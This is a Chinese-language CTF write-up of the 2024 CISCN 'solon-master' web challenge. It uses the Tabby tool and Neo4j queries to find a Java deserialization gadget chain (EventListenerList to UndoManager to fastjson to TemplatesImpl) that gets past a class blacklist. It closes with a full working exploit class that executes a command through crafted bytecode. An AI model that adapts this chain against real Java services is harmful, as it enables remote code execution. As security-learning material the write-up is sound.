tabby的初次使用–复盘2024CISCN WEB solon-master 1、tabby介绍 Tabby 是一款针对 Java 语言的静态代码分析工具,可用于快速发现多种类型的 Java 语言相关的漏洞。解析jar文件后通过构建neo4j数据图库来完成漏洞链路。
安装 可参考链接,本篇文章目的主要是通过题目来介绍如何快速上手该工具。
2、源码分析
关键源代码在api路由和deserialize函数,可以看到必须包含user.class和不能包含BadAttributeValueException这个类,观察User.java
发现其中使用了Map类型,联想到之前的过滤,可以猜到需要使用一条新的toString链子,查看项目依赖
发现使用了fastjson项目,而源码没有明显的对json反序列化的操作,说明是利用fastjson的原生反序列化利用链(before1.2.48 &after1.2.48bypass )
结合有map这一类,目前的思路是通过HashMap#readObject 来触发有toString的readObject,如被ban的BadAttributeValueException#readObject
3、使用tabby分析项目 将tabby配置的target选项修改为题目的jar包路径,将其他配置好进行分析,可以选择将原生java带入一起分析。
分析完后将其导入到neo4j数据库中,目前的目标是找到一个可以支持反序列化的类,修改了readObject方法,最后能利用到toString方法
通过已有的toString链子进行分析,可以发现都是利用了java.lang.Object#toString ,那么可以限制toString方法,,该toString方法应该是被某个函数调用的;同时,我不想太多的java.*的类影响我进行判断,也需要屏蔽BadAttributeValueException这个类。由此可以构建我们需要的查询语句
1 2 3 4 5 match(source:Method {NAME:"readObject"})<-[:HAS]-(class:Class {IS_PUBLIC:true})where source.CLASSNAME=~"^(?!java\.).*$" match(sink:Method {NAME:"toString"})where sink.CLASSNAME="java.lang.Object" CALL tabby.beta.findPath(source,">",sink,4,false)yield path where none(n in nodes(path) where n.CLASSNAME in ["javax.management.BadAttributeValueExpException","com.alibaba.fastjson.JSONReader","com.alibaba.fastjson.util.AntiCollisionHashMap","javax.xml.xpath.XPathException"]) return path
第一句:从方法中选取类的名不包含**java.**且类属性为public的readObject方法
第二句:选取java.lang.Object#toString 方法
第三句:通过tabby的方法来进行搜索,同时下一句对某些类进行过滤,避免过多分支
最后结果如下
通过排查,发现有一条链子
EventListenerList的链子可以使用,根据显示,调用链如下:
javax.swing.event.EventListenerList#readObject->javax.swing.event.EventListenerList#add-> java.lang.StringBuilder#append->java.lang.String#valueOf-> java.lang.Object#toString
跟进到add函数
这里调用了”+”(append)函数,所以会触发toString,观察回readObject方法
可以发现需要一个类满足继承了EventListener且有toString方法,可以通过tabby来进行搜索
1 2 3 4 match(source:Class {IS_SERIALIZABLE:true,IS_PUBLIC:true})-[:HAS]->(m1:Method {NAME:"toString"}) match(c1:Class {INTERFACES:"[\"java.util.EventListener\"]"}) match path=(source)-[:INTERFACE*]->(c1) return path
发现有两个类满足条件,人工排查后发现javax/swing/undo/UndoManager.java满足上述条件,跟进其toString方法,发现两个变量都是string类型,所以看跟进其super方法,发现有一个edit变量为Vector类,观察Vector类的toString方法,发现会直接有经典的toString方法
所以可以直接利用,先通过反射修改UndoManager的edit变量,然后需要满足Undo和class.forname的类不一样即可
最终利用如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 package com.example.demo;import com.alibaba.fastjson.*;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;import java.util.Vector;import javax.swing.event.EventListenerList;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import sun.misc.Unsafe;import javax.swing.text.InternationalFormatter;import com.example.demo.DemoController;import javax.swing.undo.UndoManager;public class test { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception { try { Field field = clazz.getDeclaredField(fieldName); if ( field != null ) field.setAccessible(true ); else if ( clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); return field; } catch ( NoSuchFieldException e ) { if ( !clazz.getSuperclass().equals(Object.class) ) { return getField(clazz.getSuperclass(), fieldName); } throw e; } } public static Object getObjectByUnsafe (Class clazz) throws Exception{ Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe" ); theUnsafe.setAccessible(true ); Unsafe unsafe = (Unsafe) theUnsafe.get(null ); return unsafe.allocateInstance(clazz); } public static Object getFieldValue (final Object obj, final String fieldName) throws Exception { final Field field = getField(obj.getClass(), fieldName); return field.get(obj); } static Object deserialize (String data) throws Exception { return new ObjectInputStream (new ByteArrayInputStream (Base64.getDecoder().decode(data))) { boolean check = false ; @Override protected Class resolveClass (ObjectStreamClass desc) throws IOException, ClassNotFoundException { Class targetc = super .resolveClass(desc); if (!this .check && !User.class.isAssignableFrom(targetc)) { throw new IllegalArgumentException ("HackerClass:" + targetc); } else if (BadAttributeValueExpException.class.isAssignableFrom(targetc)) { throw new IllegalArgumentException ("HackerClass:" + targetc); } else { this .check = true ; return targetc; } } }.readObject(); } public static byte [] serialize(final Object obj) throws IOException { final ByteArrayOutputStream out = new ByteArrayOutputStream (); final ObjectOutputStream objOut = new ObjectOutputStream (out); objOut.writeObject(obj); return out.toByteArray(); } public static TemplatesImpl createTemplateImpl (String command) throws Exception { TemplatesImpl templates = TemplatesImpl.class.newInstance(); ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("cwm" ); CtClass superClass = pool.get(AbstractTranslet.class.getName()); cc.setSuperclass(superClass); CtConstructor constructor = new CtConstructor (new CtClass []{}, cc); constructor.setBody(command); cc.addConstructor(constructor); byte [][] bytes=new byte [][]{cc.toBytecode()}; setFieldValue(templates, "_bytecodes" , bytes); setFieldValue(templates, "_name" , "cwm" ); setFieldValue(templates, "_tfactory" , null ); return templates; } public static BadAttributeValueExpException oldToString (Object triggee) throws Exception { BadAttributeValueExpException val=new BadAttributeValueExpException (null ); Field valfield=val.getClass().getDeclaredField("val" ); valfield.setAccessible(true ); valfield.set(val, triggee); return val; } public static EventListenerList newToString (Object triggee) throws Exception { EventListenerList list=new EventListenerList (); UndoManager um=new UndoManager (); Vector v=(Vector) getFieldValue(um,"edits" ); v.add(triggee); setFieldValue(list,"listenerList" ,new Object []{ByteArrayOutputStream.class,um}); return list; } public static Object newToString2 (Object triggee) throws Exception { InternationalFormatter formatter=new InternationalFormatter (); return 1 ; } public static void main (String[] args) throws Exception { JSONArray jsonArray=new JSONArray (); TemplatesImpl templates=createTemplateImpl("Runtime.getRuntime().exec(\"calc\");" ); jsonArray.add(templates); EventListenerList list=newToString(jsonArray); HashMap map=new HashMap (); map.put(templates,list); User user=new User (); user.setName("cwm" ); user.setInfo(map); byte [] bytes=serialize(user); deserialize(Base64.getEncoder().encodeToString(bytes)); } }
4、后记 其实最后发现这条链子是23年Aliyunctf的jaskson触发toString的链子,在最近的比赛也是经常会见到,相当于对我技术的一种鞭策吧,毕竟大三大四没有再认真做这一块安全内容了,还是需要跟随时代步伐的。